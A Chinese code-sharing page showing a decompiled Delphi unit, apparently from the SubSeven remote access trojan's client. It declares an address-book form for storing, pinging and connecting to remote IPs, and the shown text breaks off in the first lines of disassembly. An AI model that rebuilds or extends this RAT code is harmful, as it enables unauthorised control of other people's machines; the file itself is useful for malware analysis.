开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
AddressBookUnit.pas
资源名称：subseven_src.zip　[点击查看]
上传用户：gdszzsp
上传日期：2007-01-08
资源大小：621k
文件大小：129k
源码类别：

远程控制编程

开发平台：

Delphi

AddressBookUnit.pas：源码内容
  1. unit AddressBookUnit;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics,
  7.   Controls, Forms, Dialogs, StdCtrls, ComCtrls, Menus;
  9. type
  10.   TAddressBook=class(TForm)
  11.     CaptionLabel: TLabel;
  12.     CloseButton: TFlatSpeedButton;
  13.     OutlookBtn2: TOutlookBtn;
  14.     OutlookBtn3: TOutlookBtn;
  15.     Label1: TLabel;
  16.     ToolbarButton971: TToolbarButton97;
  17.     OutlookBtn1: TOutlookBtn;
  18.     Label2: TLabel;
  19.     OutlookBtn4: TOutlookBtn;
  20.     ab: TListView;
  21.     Edit1: TEdit;
  22.     Edit2: TEdit;
  23.     Edit3: TEdit;
  24.     ts: TMemo;
  25.     PopupMenu1: TPopupMenu;
  26.     connect1: TMenuItem;
  27.     N2: TMenuItem;
  28.     ping1: TMenuItem;
  29.     pingall1: TMenuItem;
  30.     N1: TMenuItem;
  31.     changeip1: TMenuItem;
  32.     change1: TMenuItem;
  33.     changecomment1: TMenuItem;
  34.     WSocket1: TWSocket;
  35.     ImageList1: TImageList;
  36.     procedure abDblClick(Sender: TObject);
  37.     procedure CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  38.     procedure CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  39.     procedure CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  40.     procedure change1Click(Sender: TObject);
  41.     procedure changecomment1Click(Sender: TObject);
  42.     procedure changeip1Click(Sender: TObject);
  43.     procedure CloseButtonClick(Sender: TObject);
  44.     procedure connect1Click(Sender: TObject);
  45.     procedure FormCreate(Sender: TObject);
  46.     procedure FormHide(Sender: TObject);
  47.     procedure FormPaint(Sender: TObject);
  48.     procedure FormResize(Sender: TObject);
  49.     procedure FormShow(Sender: TObject);
  50.     procedure OutlookBtn1Click(Sender: TObject);
  51.     procedure OutlookBtn2Click(Sender: TObject);
  52.     procedure OutlookBtn3Click(Sender: TObject);
  53.     procedure OutlookBtn4Click(Sender: TObject);
  54.     procedure ping1Click(Sender: TObject);
  55.     procedure pingall1Click(Sender: TObject);
  56.     procedure ToolbarButton971Click(Sender: TObject);
  57.     procedure ToolbarButton971MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  58.     procedure WSocket1DataAvailable(Sender: TObject);{?}
  59.     procedure WSocket1Error(Sender: TObject);{?}
  60.   private
  61.     { Private declarations }
  62.   public
  63.     { Public declarations }
  64.   end ;
  66. var
  67.   AddressBook: TAddressBook;
  70. {This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
  72. implementation
  74. {$R *.DFM}
  77. procedure TAddressBook.abDblClick(Sender: TObject);
  78. begin
  79. {
  80. 0050B9E4   55                     push    ebp
  81. 0050B9E5   8BEC                   mov     ebp, esp
  82. 0050B9E7   6A00                   push    $00
  83. 0050B9E9   6A00                   push    $00
  84. 0050B9EB   6A00                   push    $00
  85. 0050B9ED   53                     push    ebx
  86. 0050B9EE   56                     push    esi
  87. 0050B9EF   8BD8                   mov     ebx, eax
  88. 0050B9F1   33C0                   xor     eax, eax
  89. 0050B9F3   55                     push    ebp
  91. * Possible String Reference to: "